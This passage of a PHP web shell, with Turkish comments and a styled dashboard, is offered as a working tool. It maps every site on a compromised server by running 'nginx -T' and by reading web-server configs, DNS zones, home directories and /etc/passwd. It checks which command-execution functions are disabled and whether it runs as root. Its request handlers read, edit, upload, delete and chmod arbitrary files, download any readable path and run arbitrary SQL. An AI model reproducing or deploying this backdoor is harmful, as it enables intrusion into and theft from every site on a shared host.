        if (preg_match_all('/\balias\s+(\S+)/i', $dump, $ms)) {
            foreach ($ms[1] as $a) {
                $a = trim($a);
                if (strpos($a, '.') !== false && strpos($a, '/') === false) $addDomain($a, 'Unknown', $label);
            }
        }
    }

    // ===== 8. GENERIC: Nginx -T dump (tum nginx config'ini duser - en kapsamli) =====
    $dump = safeExec('nginx -T 2>&1');
    if ($dump && strpos($dump, 'server_name') !== false) {
        $label = ($detected_panel !== 'Unknown') ? $detected_panel : 'Nginx';
        if (preg_match_all('/server\s*\{((?:[^{}]|(?:\{(?:[^{}]|\{[^{}]*\})*\}))*)\}/si', $dump, $svs)) {
            foreach ($svs[1] as $sv) {
                $root = '';
                if (preg_match('/root\s+([^;]+);/i', $sv, $m)) $root = trim($m[1]);
                if (preg_match_all('/server_name\s+([^;]+);/i', $sv, $snm)) {
                    foreach ($snm[1] as $sn_line) {
                        foreach (preg_split('/\s+/', trim($sn_line)) as $name) {
                            $name = trim($name);
                            if (!$name || $name === '_' || $name === 'localhost' || strpos($name, '*') !== false) continue;
                            if (strpos($name, '.') !== false) {
                                $addDomain($name, $root ?: 'Unknown', $label);
                            }
                        }
                    }
                }
            }
        }
    }

    // ===== 9. GENERIC: Apache config dosyalari (httpd -S yakalayamazsa diye) =====
    $apdirs = [
        '/etc/httpd/conf.d', '/etc/httpd/conf/extra', '/etc/httpd/conf',
        '/etc/apache2/sites-enabled', '/etc/apache2/sites-available', '/etc/apache2/conf-enabled',
        '/usr/local/apache/conf/vhosts', '/usr/local/apache2/conf/extra',
        '/etc/httpd/conf/plesk.conf.d/vhosts'
    ];
    foreach ($apdirs as $dir) {
        if (!@is_dir($dir) || !@is_readable($dir)) continue;
        $files = @scandir($dir);
        if (!$files) continue;
        foreach ($files as $file) {
            if ($file[0] === '.') continue;
            $fp = $dir . '/' . $file;
            if (!@is_file($fp) || !@is_readable($fp)) continue;
            $ct = @file_get_contents($fp);
            if (!$ct) continue;
            if (preg_match_all('/<VirtualHost[^>]*>(.*?)<\/VirtualHost>/si', $ct, $vhs)) {
                foreach ($vhs[1] as $vh) {
                    $sn = '';
                    $dr = '';
                    if (preg_match('/ServerName\s+(\S+)/i', $vh, $m)) $sn = trim($m[1]);
                    if (preg_match('/DocumentRoot\s+"?([^"\n]+)"?/i', $vh, $m)) $dr = trim($m[1]);
                    if ($sn && strpos($sn, '.') !== false) {
                        $addDomain($sn, $dr ?: 'Unknown', 'Apache VHost');
                    }
                    // ServerAlias - ek domainler
                    if (preg_match_all('/ServerAlias\s+(.+)/i', $vh, $ams)) {
                        foreach ($ams[1] as $al) {
                            foreach (preg_split('/\s+/', trim($al)) as $a) {
                                $a = trim($a);
                                if ($a && strpos($a, '.') !== false && strpos($a, '*') === false) {
                                    $addDomain($a, $dr ?: 'Unknown', 'Apache VHost');
                                }
                            }
                        }
                    }
                }
            }
        }
    }

    // ===== 10. GENERIC: Nginx config dosyalari (nginx -T yakalayamazsa diye) =====
    $ngdirs = [
        '/etc/nginx/conf.d', '/etc/nginx/sites-enabled', '/etc/nginx/sites-available',
        '/usr/local/nginx/conf/vhosts'
    ];
    foreach ($ngdirs as $dir) {
        if (!@is_dir($dir) || !@is_readable($dir)) continue;
        $files = @scandir($dir);
        if (!$files) continue;
        foreach ($files as $file) {
            if ($file[0] === '.') continue;
            $fp = $dir . '/' . $file;
            if (!@is_file($fp) || !@is_readable($fp)) continue;
            $ct = @file_get_contents($fp);
            if (!$ct) continue;
            if (preg_match_all('/server\s*\{((?:[^{}]|(?:\{(?:[^{}]|\{[^{}]*\})*\}))*)\}/si', $ct, $svs)) {
                foreach ($svs[1] as $sv) {
                    $root = '';
                    if (preg_match('/root\s+([^;]+);/i', $sv, $m)) $root = trim($m[1]);
                    if (preg_match_all('/server_name\s+([^;]+);/i', $sv, $snm)) {
                        foreach ($snm[1] as $sn_line) {
                            foreach (preg_split('/\s+/', trim($sn_line)) as $name) {
                                $name = trim($name);
                                if (!$name || $name === '_' || $name === 'localhost' || strpos($name, '*') !== false) continue;
                                if (strpos($name, '.') !== false) {
                                    $addDomain($name, $root ?: 'Unknown', 'Nginx');
                                }
                            }
                        }
                    }
                }
            }
        }
    }

    // ===== 11. Named/BIND DNS zone dosyalari =====
    foreach (['/etc/named.conf', '/etc/bind/named.conf', '/etc/bind/named.conf.local', '/var/named/chroot/etc/named.conf'] as $ncf) {
        $ct = @file_get_contents($ncf);
        if (!$ct) continue;
        if (preg_match_all('/zone\s+"([^"]+)"/i', $ct, $ms)) {
            foreach ($ms[1] as $z) {
                $z = trim($z);
                if (strpos($z, '.') !== false && !preg_match('/in-addr\.arpa|ip6\.arpa/i', $z)) {
                    $addDomain($z, 'Unknown', 'DNS Zone');
                }
            }
        }
    }

    // ===== 12. GENERIC: Filesystem taramasi (panelsiz sunucular icin) =====
    // /home/ altindaki tum olasi domain yapilari
    if (is_dir('/home')) {
        $home_users = @scandir('/home');
        if ($home_users) {
            foreach ($home_users as $hu) {
                if ($hu[0] === '.' || !@is_dir('/home/' . $hu)) continue;
                $hu_path = '/home/' . $hu;

                // /home/USER/public_html, /home/USER/www, /home/USER/htdocs (panelsiz veya custom)
                foreach (['public_html', 'www', 'htdocs', 'html', 'web'] as $webdir) {
                    $wp = $hu_path . '/' . $webdir;
                    if (@is_dir($wp) && strpos($hu, '.') !== false) {
                        $addDomain($hu, $wp, 'Server');
                    }
                }

                // /home/USER/domains/DOMAIN/public_html (DirectAdmin vb.)
                $dom_dir = $hu_path . '/domains';
                if (@is_dir($dom_dir)) {
                    $doms = @scandir($dom_dir);
                    if ($doms) {
                        foreach ($doms as $dd) {
                            if ($dd[0] === '.') continue;
                            if (@is_dir($dom_dir . '/' . $dd) && strpos($dd, '.') !== false) {
                                $pub = $dom_dir . '/' . $dd . '/public_html';
                                $addDomain($dd, @is_dir($pub) ? $pub : $dom_dir . '/' . $dd, 'Server');
                            }
                        }
                    }
                }

                // /home/USER/web/DOMAIN (Hestia/Vesta vb.)
                $web_dir = $hu_path . '/web';
                if (@is_dir($web_dir)) {
                    $wds = @scandir($web_dir);
                    if ($wds) {
                        foreach ($wds as $wd) {
                            if ($wd[0] === '.') continue;
                            if (@is_dir($web_dir . '/' . $wd) && strpos($wd, '.') !== false) {
                                $pub = $web_dir . '/' . $wd . '/public_html';
                                $addDomain($wd, @is_dir($pub) ? $pub : $web_dir . '/' . $wd, 'Server');
                            }
                        }
                    }
                }

                // /home/DOMAIN/public_html (CyberPanel vb. - dizin adi domain ise)
                if (strpos($hu, '.') !== false && @is_dir($hu_path . '/public_html')) {
                    $addDomain($hu, $hu_path . '/public_html', 'Server');
                }
            }
        }
    }

    // /var/www/ altindaki domain-isimli dizinler
    $var_www_dirs = ['/var/www', '/var/www/html', '/var/www/vhosts', '/srv/www', '/srv/www/htdocs'];
    foreach ($var_www_dirs as $vwd) {
        if (!@is_dir($vwd) || !@is_readable($vwd)) continue;
        $entries = @scandir($vwd);
        if (!$entries) continue;
        foreach ($entries as $e) {
            if ($e[0] === '.' || in_array($e, ['default', 'system', 'chroot', 'html', 'cgi-bin', 'icons', 'error', 'backends', 'projects'])) continue;
            if (@is_dir($vwd . '/' . $e) && strpos($e, '.') !== false && preg_match('/\.[a-z]{2,}$/i', $e)) {
                $possible_roots = [$vwd.'/'.$e.'/httpdocs', $vwd.'/'.$e.'/public_html', $vwd.'/'.$e.'/html', $vwd.'/'.$e.'/www', $vwd.'/'.$e.'/htdocs', $vwd.'/'.$e.'/web'];
                $found_root = $vwd . '/' . $e;
                foreach ($possible_roots as $pr) {
                    if (@is_dir($pr)) { $found_root = $pr; break; }
                }
                $addDomain($e, $found_root, 'Server');
            }
        }
    }

    // /www/wwwroot/ (aaPanel vb.)
    if (is_dir('/www/wwwroot')) {
        $wrs = @scandir('/www/wwwroot');
        if ($wrs) {
            foreach ($wrs as $wr) {
                if ($wr[0] === '.' || $wr === 'default') continue;
                if (@is_dir('/www/wwwroot/' . $wr) && strpos($wr, '.') !== false) {
                    $addDomain($wr, '/www/wwwroot/' . $wr, 'Server');
                }
            }
        }
    }

    // ===== 13. /etc/passwd tabanli kesif (root degilsen bile calisir) =====
    $passwd_lines = @file('/etc/passwd', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    if ($passwd_lines) {
        foreach ($passwd_lines as $pl) {
            $parts = explode(':', $pl);
            if (count($parts) < 6) continue;
            $user = $parts[0];
            $home = $parts[5];
            // Sistem kullanicilarini atla
            if (!$home || strpos($home, '/home') !== 0 || in_array($user, ['root','nobody','mail','daemon','bin','sys','www-data','apache','nginx','mysql','postgres'])) continue;

            // Her kullanici icin bilinen panel yapilarini dene
            // Plesk: /var/www/vhosts/ altinda olmayabilir ama username domain olabilir
            // cPanel: /home/USER/public_html + addon domainler
            // DirectAdmin: /home/USER/domains/DOMAIN/public_html
            // Genel: /home/USER/public_html, /home/USER/www

            // cPanel: /home/USER/ altindaki domain isimli dizinler
            if (@is_dir($home)) {
                $user_dirs = @scandir($home);
                if ($user_dirs) {
                    foreach ($user_dirs as $ud) {
                        if ($ud[0] === '.') continue;
                        // Domain isimli dizin var mi?
                        if (@is_dir($home . '/' . $ud) && strpos($ud, '.') !== false && preg_match('/\.[a-z]{2,}$/i', $ud)) {
                            // public_html varsa doc_root olarak kullan
                            $possible = [$home.'/'.$ud.'/public_html', $home.'/'.$ud.'/httpdocs', $home.'/'.$ud.'/www', $home.'/'.$ud.'/html', $home.'/'.$ud];
                            $dr = $home . '/' . $ud;
                            foreach ($possible as $pp) {
                                if (@is_dir($pp)) { $dr = $pp; break; }
                            }
                            $addDomain($ud, $dr, 'Server');
                        }
                    }
                }
            }

            // Kullanici adi domain gibi gorunuyorsa
            if (strpos($user, '.') !== false && preg_match('/\.[a-z]{2,}$/i', $user)) {
                $pub = $home . '/public_html';
                $addDomain($user, @is_dir($pub) ? $pub : $home, 'Server');
            }
        }
    }

    // ===== 14. /etc/hosts fallback =====
    if (empty($domains)) {
        $lines = @file('/etc/hosts', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        if ($lines) {
            foreach ($lines as $line) {
                $line = trim($line);
                if (!$line || $line[0] === '#') continue;
                $parts = preg_split('/\s+/', $line);
                for ($i = 1; $i < count($parts); $i++) {
                    $h = trim($parts[$i]);
                    if ($h !== 'localhost' && $h !== 'localhost.localdomain' && strpos($h, '.') !== false) {
                        $addDomain($h, 'Unknown', '/etc/hosts');
                    }
                }
            }
        }
    }

    // ===== 15. $_SERVER garantisi - mevcut domain her zaman eklenir =====
    $current_host = '';
    if (isset($_SERVER['HTTP_HOST'])) $current_host = $_SERVER['HTTP_HOST'];
    elseif (isset($_SERVER['SERVER_NAME'])) $current_host = $_SERVER['SERVER_NAME'];
    if ($current_host) {
        $doc = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd();
        $addDomain($current_host, $doc, $detected_panel !== 'Unknown' ? $detected_panel : 'Current');
    }

    // Alfabetik sirala
    usort($domains, function($a, $b) {
        return strcasecmp($a['domain'], $b['domain']);
    });

    // Kisitlama teshisi
    $restrictions = [];
    $disabled_funcs = array_map('trim', explode(',', @ini_get('disable_functions')));
    $exec_funcs = ['shell_exec', 'exec', 'popen', 'proc_open', 'system', 'passthru'];
    $blocked_exec = array_intersect($exec_funcs, $disabled_funcs);
    if (count($blocked_exec) === count($exec_funcs)) {
        $restrictions[] = 'Tum komut calistirma fonksiyonlari devre disi (shell_exec, exec, popen vb.)';
    } elseif (!empty($blocked_exec)) {
        $restrictions[] = 'Devre disi fonksiyonlar: ' . implode(', ', $blocked_exec);
    }
    $open_basedir = @ini_get('open_basedir');
    if ($open_basedir) {
        $restrictions[] = 'open_basedir aktif: ' . $open_basedir;
    }
    if (function_exists('posix_getuid') && posix_getuid() !== 0) {
        $restrictions[] = 'Root degil (UID: ' . posix_getuid() . ')';
    }

    return [
        'panel' => $detected_panel,
        'domains' => $domains,
        'count' => count($domains),
        'status' => true,
        'restrictions' => $restrictions
    ];
}

// ==================== FILE OPERATIONS ====================
function listDirectory($dir) {
    $files = [];
    if (!is_readable($dir)) return $files;

    $items = @scandir($dir);
    if ($items === false) return $files;

    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;

        $path = $dir . DIRECTORY_SEPARATOR . $item;
        $is_dir = is_dir($path);

        $files[] = [
            'name' => $item,
            'path' => $path,
            'is_dir' => $is_dir,
            'size' => $is_dir ? 0 : (@filesize($path) ?: 0),
            'formatted_size' => $is_dir ? '-' : formatSize(@filesize($path) ?: 0),
            'permissions' => substr(sprintf('%o', @fileperms($path) ?: 0), -4),
            'modified' => date('Y-m-d H:i:s', @filemtime($path) ?: time()),
            'icon' => getFileIcon($item, $is_dir)
        ];
    }

    usort($files, function($a, $b) {
        if ($a['is_dir'] && !$b['is_dir']) return -1;
        if (!$a['is_dir'] && $b['is_dir']) return 1;
        return strcasecmp($a['name'], $b['name']);
    });

    return $files;
}

function getFileIcon($filename, $is_dir) {
    if ($is_dir) return '&#128193;';

    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $icons = [
        'php' => '&#128024;', 'html' => '&#127760;', 'css' => '&#127912;', 'js' => '&#9889;',
        'txt' => '&#128196;', 'pdf' => '&#128213;', 'doc' => '&#128216;', 'docx' => '&#128216;',
        'xls' => '&#128215;', 'xlsx' => '&#128215;', 'ppt' => '&#128217;', 'pptx' => '&#128217;',
        'zip' => '&#128230;', 'rar' => '&#128230;', '7z' => '&#128230;', 'tar' => '&#128230;', 'gz' => '&#128230;',
        'jpg' => '&#128444;', 'jpeg' => '&#128444;', 'png' => '&#128444;', 'gif' => '&#128444;', 'svg' => '&#128444;',
        'mp3' => '&#127925;', 'wav' => '&#127925;', 'mp4' => '&#127908;', 'avi' => '&#127908;',
        'sql' => '&#128452;', 'db' => '&#128452;', 'json' => '&#128203;', 'xml' => '&#128203;'
    ];

    return $icons[$ext] ?? '&#128196;';
}

function handleFileOperation($operation, $data) {
    switch ($operation) {
        case 'create_file':
            return createFile($data['filename'] ?? '', $data['content'] ?? '');
        case 'create_folder':
            return createFolder($data['foldername'] ?? '');
        case 'edit_file':
            return editFile($data['filepath'] ?? '', $data['content'] ?? '');
        case 'delete_item':
            return deleteItem($data['filepath'] ?? '');
        case 'download':
            return downloadFile($data['filepath'] ?? '');
        case 'zip_item':
            return zipItem($data['filepath'] ?? '');
        case 'unzip_file':
            return unzipFile($data['filepath'] ?? '');
        case 'upload':
            return handleUpload();
        case 'rename_item':
            return renameItem($data['filepath'] ?? '', $data['newname'] ?? '');
        case 'chmod_item':
            return chmodItem($data['filepath'] ?? '', $data['permissions'] ?? '');
        default:
            return ['status' => false, 'message' => 'Invalid file operation'];
    }
}

function createFile($filename, $content = '') {
    $filename = sanitizeInput($filename, 'filename');
    if (empty($filename)) return ['status' => false, 'message' => 'Invalid filename provided'];

    $filepath = getcwd() . DIRECTORY_SEPARATOR . $filename;
    if (file_exists($filepath)) return ['status' => false, 'message' => 'File already exists'];

    if (@file_put_contents($filepath, $content, LOCK_EX) !== false) {
        return ['status' => true, 'message' => "File '$filename' created successfully"];
    }
    return ['status' => false, 'message' => 'Failed to create file'];
}

function createFolder($foldername) {
    $foldername = sanitizeInput($foldername, 'filename');
    if (empty($foldername)) return ['status' => false, 'message' => 'Invalid folder name provided'];

    $folderpath = getcwd() . DIRECTORY_SEPARATOR . $foldername;
    if (file_exists($folderpath)) return ['status' => false, 'message' => 'Folder already exists'];

    if (@mkdir($folderpath, 0755, true)) {
        return ['status' => true, 'message' => "Folder '$foldername' created successfully"];
    }
    return ['status' => false, 'message' => 'Failed to create folder'];
}

function editFile($filepath, $content) {
    $filepath = sanitizeInput($filepath, 'path');
    if (!file_exists($filepath)) return ['status' => false, 'message' => 'File not found'];
    if (!is_writable($filepath)) return ['status' => false, 'message' => 'File is not writable'];

    if (@file_put_contents($filepath, $content, LOCK_EX) !== false) {
        return ['status' => true, 'message' => 'File saved successfully'];
    }
    return ['status' => false, 'message' => 'Failed to save file'];
}

function deleteItem($filepath) {
    $filepath = sanitizeInput($filepath, 'path');
    if (!file_exists($filepath)) return ['status' => false, 'message' => 'File or folder not found'];

    if (is_dir($filepath)) {
        if (removeDirectory($filepath)) return ['status' => true, 'message' => 'Folder deleted successfully'];
    } else {
        if (@unlink($filepath)) return ['status' => true, 'message' => 'File deleted successfully'];
    }
    return ['status' => false, 'message' => 'Failed to delete item'];
}

function removeDirectory($dir) {
    if (!is_dir($dir)) return false;
    $files = array_diff(scandir($dir), ['.', '..']);
    foreach ($files as $file) {
        $path = $dir . DIRECTORY_SEPARATOR . $file;
        is_dir($path) ? removeDirectory($path) : @unlink($path);
    }
    return @rmdir($dir);
}

function downloadFile($filepath) {
    $filepath = sanitizeInput($filepath, 'path');
    if (!file_exists($filepath) || !is_readable($filepath)) {
        header('HTTP/1.0 404 Not Found');
        echo 'File not found or not readable';
        exit;
    }

    $filename = basename($filepath);
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . $filename . '"');
    header('Content-Length: ' . filesize($filepath));
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Expires: 0');
    readfile($filepath);
    exit;
}

function zipItem($filepath) {
    $filepath = sanitizeInput($filepath, 'path');
    if (!file_exists($filepath)) return ['status' => false, 'message' => 'File or folder not found'];
    if (!class_exists('ZipArchive')) return ['status' => false, 'message' => 'ZipArchive class not available'];

    $zip_filename = basename($filepath) . '_' . date('Ymd_His') . '.zip';
    $zip = new ZipArchive();

    if ($zip->open($zip_filename, ZipArchive::CREATE) !== TRUE) {
        return ['status' => false, 'message' => 'Failed to create ZIP file'];
    }

    if (is_dir($filepath)) {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($filepath, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST
        );
        foreach ($iterator as $file) {
            if ($file->isDir()) {
                $zip->addEmptyDir(str_replace($filepath . DIRECTORY_SEPARATOR, '', $file->getPathname()));
            } else {
                $zip->addFile($file->getPathname(), str_replace($filepath . DIRECTORY_SEPARATOR, '', $file->getPathname()));
            }
        }
    } else {
        $zip->addFile($filepath, basename($filepath));
    }

    $zip->close();

    if (file_exists($zip_filename)) {
        return ['status' => true, 'message' => "ZIP file '$zip_filename' created successfully"];
    }
    return ['status' => false, 'message' => 'Failed to create ZIP file'];
}

function unzipFile($filepath) {
    $filepath = sanitizeInput($filepath, 'path');
    if (!file_exists($filepath) || strtolower(pathinfo($filepath, PATHINFO_EXTENSION)) !== 'zip') {
        return ['status' => false, 'message' => 'ZIP file not found'];
    }
    if (!class_exists('ZipArchive')) return ['status' => false, 'message' => 'ZipArchive class not available'];

    $zip = new ZipArchive();
    if ($zip->open($filepath) !== TRUE) return ['status' => false, 'message' => 'Failed to open ZIP file'];

    $extract_path = pathinfo($filepath, PATHINFO_FILENAME) . '_extracted_' . date('Ymd_His');
    @mkdir($extract_path, 0755, true);

    if ($zip->extractTo($extract_path)) {
        $zip->close();
        return ['status' => true, 'message' => "ZIP file extracted to '$extract_path'"];
    }
    $zip->close();
    return ['status' => false, 'message' => 'Failed to extract ZIP file'];
}

function handleUpload() {
    if (!isset($_FILES['upload_file'])) return ['status' => false, 'message' => 'No file uploaded'];

    $file = $_FILES['upload_file'];
    if ($file['error'] !== UPLOAD_ERR_OK) {
        $error_messages = [
            UPLOAD_ERR_INI_SIZE => 'File too large (exceeds php.ini limit)',
            UPLOAD_ERR_FORM_SIZE => 'File too large (exceeds form limit)',
            UPLOAD_ERR_PARTIAL => 'File partially uploaded',
            UPLOAD_ERR_NO_FILE => 'No file uploaded',
            UPLOAD_ERR_NO_TMP_DIR => 'No temporary directory',
            UPLOAD_ERR_CANT_WRITE => 'Cannot write to disk',
            UPLOAD_ERR_EXTENSION => 'Upload stopped by extension'
        ];
        return ['status' => false, 'message' => $error_messages[$file['error']] ?? 'Unknown upload error'];
    }

    if ($file['size'] > MAX_UPLOAD_SIZE) {
        return ['status' => false, 'message' => 'File too large. Max size: ' . formatSize(MAX_UPLOAD_SIZE)];
    }

    $filename = sanitizeInput($file['name'], 'filename');
    $destination = getcwd() . DIRECTORY_SEPARATOR . $filename;

    if (file_exists($destination)) {
        $filename = pathinfo($filename, PATHINFO_FILENAME) . '_' . time() . '.' . pathinfo($filename, PATHINFO_EXTENSION);
        $destination = getcwd() . DIRECTORY_SEPARATOR . $filename;
    }

    if (@move_uploaded_file($file['tmp_name'], $destination)) {
        return ['status' => true, 'message' => "File '$filename' uploaded successfully"];
    }
    return ['status' => false, 'message' => 'Failed to upload file'];
}

function renameItem($filepath, $newname) {
    $filepath = sanitizeInput($filepath, 'path');
    $newname = sanitizeInput($newname, 'filename');
    if (!file_exists($filepath)) return ['status' => false, 'message' => 'Item not found'];
    if (empty($newname)) return ['status' => false, 'message' => 'New name is required'];

    $dir = dirname($filepath);
    $newpath = $dir . DIRECTORY_SEPARATOR . $newname;
    if (file_exists($newpath)) return ['status' => false, 'message' => 'An item with that name already exists'];

    if (@rename($filepath, $newpath)) {
        return ['status' => true, 'message' => 'Renamed successfully'];
    }
    return ['status' => false, 'message' => 'Failed to rename'];
}

function chmodItem($filepath, $permissions) {
    $filepath = sanitizeInput($filepath, 'path');
    if (!file_exists($filepath)) return ['status' => false, 'message' => 'Item not found'];

    $perms = octdec($permissions);
    if (@chmod($filepath, $perms)) {
        return ['status' => true, 'message' => "Permissions changed to $permissions"];
    }
    return ['status' => false, 'message' => 'Failed to change permissions'];
}

// ==================== DOWNLOAD ENDPOINT ====================
if (isset($_GET['action']) && $_GET['action'] === 'file_operation' &&
    isset($_GET['operation']) && $_GET['operation'] === 'download' &&
    isset($_GET['filepath'])) {
    $data = ['filepath' => sanitizeInput($_GET['filepath'], 'path')];
    handleFileOperation('download', $data);
}

// ==================== AJAX HANDLERS ====================
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
    // Onceki tum ciktilari temizle (PHP hata/warning mesajlari JSON'u bozmasin)
    while (@ob_get_level()) @ob_end_clean();
    @error_reporting(0);
    @ini_set('display_errors', 0);
    header('Content-Type: application/json; charset=utf-8');

    switch ($_POST['action']) {
        case 'file_operation':
            $operation = $_POST['operation'] ?? '';
            $result = handleFileOperation($operation, $_POST);
            echo json_encode($result);
            break;

        case 'change_directory':
            $new_dir = sanitizeInput($_POST['directory'] ?? '', 'path');
            if (@chdir($new_dir)) {
                echo json_encode([
                    'status' => true,
                    'message' => 'Directory changed successfully',
                    'current_dir' => getcwd()
                ]);
            } else {
                echo json_encode(['status' => false, 'message' => 'Failed to change directory']);
            }
            break;

        case 'get_file_content':
            $filepath = sanitizeInput($_POST['filepath'] ?? '', 'path');
            if (file_exists($filepath) && is_readable($filepath)) {
                $content = @file_get_contents($filepath);
                echo json_encode([
                    'status' => true,
                    'content' => $content,
                    'filename' => basename($filepath)
                ]);
            } else {
                echo json_encode(['status' => false, 'message' => 'File not found or not readable']);
            }
            break;

        case 'find_domains':
            $result = findAllDomains();
            echo json_encode($result);
            break;

        case 'execute_sql':
            $db_host = isset($_POST['db_host']) && $_POST['db_host'] !== '' ? $_POST['db_host'] : 'localhost';
            $db_user = $_POST['db_user'] ?? '';
            $db_pass = $_POST['db_pass'] ?? '';
            $db_name = $_POST['db_name'] ?? '';
            $sql_query = $_POST['sql_query'] ?? '';

            if (empty($db_user) || empty($db_name) || empty($sql_query)) {
                echo json_encode(['status' => false, 'message' => 'Kullanici adi, veritabani adi ve SQL sorgusu zorunludur.']);
                break;
            }

            $conn = @new mysqli($db_host, $db_user, $db_pass, $db_name);
            if ($conn->connect_error) {
                echo json_encode(['status' => false, 'message' => 'Baglanti Hatasi: ' . $conn->connect_error]);
                break;
            }
            $conn->set_charset('utf8mb4');

            $result = $conn->query($sql_query);
            if ($result === true) {
                echo json_encode(['status' => true, 'html' => '<div class="result-item result-success">Sorgu basariyla calistirildi! Etkilenen satir: ' . $conn->affected_rows . '</div>', 'type' => 'execute']);
            } elseif ($result) {
                $html = '<table class="file-table" style="width:100%;"><thead><tr>';
                $fields = $result->fetch_fields();
                foreach ($fields as $field) {
                    $html .= '<th>' . htmlspecialchars($field->name) . '</th>';
                }
                $html .= '</tr></thead><tbody>';
                $row_count = 0;
                while ($row = $result->fetch_assoc()) {
                    $html .= '<tr>';
                    foreach ($row as $val) {
                        $html .= '<td>' . htmlspecialchars((string)$val) . '</td>';
                    }
                    $html .= '</tr>';
                    $row_count++;
                }
                $html .= '</tbody></table>';
                $html .= '<div style="margin-top:10px;color:var(--text-secondary);font-size:13px;">Toplam ' . $row_count . ' satir getirildi.</div>';
                echo json_encode(['status' => true, 'html' => $html, 'type' => 'select', 'rows' => $row_count]);
            } else {
                echo json_encode(['status' => false, 'message' => 'SQL Hatasi: ' . $conn->error]);
            }
            $conn->close();
            break;

        default:
            echo json_encode(['status' => false, 'message' => 'Invalid action']);
    }
    exit;
}

// ==================== HTML INTERFACE ====================
$files = listDirectory($current_dir);
$system_info = getSystemInfo();
?>
<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo APP_NAME; ?> v<?php echo APP_VERSION; ?></title>
    <link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>&#128193;</text></svg>">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }

        :root {
            --primary-color: #7c3aed;
            --secondary-color: #ec4899;
            --accent-color: #f472b6;
            --dark-bg: #0a0a1a;
            --darker-bg: #050510;
            --card-bg: #12122a;
            --text-primary: #e2e8f0;
            --text-secondary: #94a3b8;
            --success-color: #10b981;
            --error-color: #ef4444;
            --warning-color: #f59e0b;
            --info-color: #3b82f6;
            --border-color: rgba(120, 0, 255, 0.15);
        }

        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, var(--dark-bg) 0%, #1a1a2e 50%, #16213e 100%);
            color: var(--text-primary);
            min-height: 100vh;
            line-height: 1.6;
        }

        body::before {
            content: "";
            position: fixed;
            top: 0; left: 0;
            width: 100%; height: 100%;
            background: radial-gradient(circle at 20% 80%, rgba(120, 0, 255, 0.08) 0%, transparent 50%),
                        radial-gradient(circle at 80% 20%, rgba(255, 0, 100, 0.05) 0%, transparent 50%);
            pointer-events: none;
            z-index: 0;
        }

        .header {
            background: rgba(18, 18, 42, 0.95);
            backdrop-filter: blur(20px);
            padding: 15px 30px;
            border-bottom: 1px solid var(--border-color);
            position: sticky;
            top: 0;
            z-index: 100;
            display: flex;
            align-items: center;
            justify-content: space-between;
        }

        .header-left { display: flex; align-items: center; gap: 15px; }

        .header h1 {
            font-size: 22px;
            background: linear-gradient(135deg, var(--primary-color), var(--secondary-color));
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            font-weight: 800;
        }

        .header-right {
            display: flex;
            align-items: center;
            gap: 15px;
            font-size: 12px;
            color: var(--text-secondary);
        }

        .header-right a {
            color: var(--secondary-color);
            text-decoration: none;
            padding: 6px 14px;
            background: rgba(236, 72, 153, 0.1);
            border-radius: 8px;
            border: 1px solid rgba(236, 72, 153, 0.2);
            transition: all 0.3s;
        }

        .header-right a:hover {
            background: rgba(236, 72, 153, 0.2);
        }

        .container {
            max-width: 1400px;
            margin: 20px auto;
            padding: 0 20px;
            position: relative;
            z-index: 1;
        }

        /* Tabs */
        .tabs {
            display: flex;
            flex-wrap: wrap;
            gap: 5px;
            margin-bottom: 20px;
            background: rgba(18, 18, 42, 0.5);
            padding: 8px;
            border-radius: 16px;
            border: 1px solid var(--border-color);
        }

        .tab-btn {
            padding: 10px 18px;
            border: none;
            background: transparent;
            color: var(--text-secondary);
            cursor: pointer;
            border-radius: 10px;
            font-size: 13px;
            transition: all 0.3s;
            display: flex;
            align-items: center;
            gap: 6px;
            white-space: nowrap;
        }

        .tab-btn:hover {
            background: rgba(120, 0, 255, 0.1);
            color: var(--text-primary);
        }

        .tab-btn.active {
            background: linear-gradient(135deg, var(--primary-color), var(--secondary-color));
            color: white;
            font-weight: 600;
        }

        .tab-content { display: none; }
        .tab-content.active { display: block; animation: fadeIn 0.3s ease; }
        @keyframes fadeIn { from { opacity: 0; transform: translateY(5px); } to { opacity: 1; transform: translateY(0); } }

        /* Cards */
        .card {
            background: rgba(18, 18, 42, 0.8);
            border-radius: 16px;
            border: 1px solid var(--border-color);
            padding: 25px;
            backdrop-filter: blur(10px);
            margin-bottom: 20px;
        }

        .card-header {
            display: flex;
            align-items: center;
            justify-content: space-between;
            margin-bottom: 20px;
            padding-bottom: 15px;
            border-bottom: 1px solid var(--border-color);
        }

        .card-title {
            font-size: 18px;
            background: linear-gradient(135deg, var(--primary-color), var(--secondary-color));
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            font-weight: 700;
        }

        /* Breadcrumb */
        .breadcrumb {
            background: rgba(10, 10, 26, 0.5);
            padding: 12px 18px;
            border-radius: 10px;
            margin-bottom: 15px;
            font-size: 13px;
            display: flex;
            align-items: center;
            gap: 10px;
            flex-wrap: wrap;
            border: 1px solid var(--border-color);
        }

        .breadcrumb a {
            color: var(--info-color);
            text-decoration: none;
            transition: color 0.2s;
        }

        .breadcrumb a:hover { color: var(--secondary-color); }

        .breadcrumb input {
            flex: 1;
            min-width: 200px;
            padding: 6px 12px;
            background: rgba(15, 15, 35, 0.8);
            border: 1px solid var(--border-color);
            color: var(--text-primary);
            border-radius: 6px;
            font-size: 13px;
        }

        .breadcrumb input:focus { outline: none; border-color: var(--primary-color); }

        /* Buttons */
